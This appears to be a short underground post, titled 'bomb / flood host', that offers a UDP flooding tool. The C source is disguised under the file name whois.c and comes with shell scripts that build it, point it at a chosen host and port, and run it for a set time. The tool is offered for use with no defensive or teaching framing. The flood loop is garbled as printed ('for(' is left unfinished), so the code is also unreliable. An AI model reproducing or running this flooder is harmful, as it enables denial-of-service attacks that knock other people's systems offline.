bomb / flood host

[PuRiCeL]

whois.c contine :

#define BOMB_STRING "0123456789"
#define BOMB_SIZE 10

#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

int echo_connect(char *, short);

int echo_connect(char *server, short port)
{
   struct sockaddr_in sin;
   struct hostent *hp;
   int thesock;

   printf("Bombing %s, port %d\n", server, port);
   hp = gethostbyname(server);
   if (hp==NULL) {
      printf("Unknown host: %s\n",server);
      exit(0);
   }
   bzero((char*) &sin, sizeof(sin));
   bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
   sin.sin_family = hp->h_addrtype;
   sin.sin_port = htons(port);
   thesock = socket(AF_INET, SOCK_DGRAM, 0);
   connect(thesock,(struct sockaddr *) &sin, sizeof(sin));   
   return thesock;
}


main(int argc, char **argv)
{
   int s;
   if(argc != 3)
   {
      printf("Syntax: bmb host port\n");
      printf("Port can be any port, any of them work equally well\n");
      exit(0);
   }
   s=echo_connect(argv[1], atoi(argv[2]));
   for(
   {
      send(s, BOMB_STRING, BOMB_SIZE, 0);
   }
}

inst.sh contine:

make httpd ;
make whois ;

whois.sh contine:

./whois $1 $2  &
sleep $3
killall -9 whois &

./inst.sh ; ./whois.sh host port time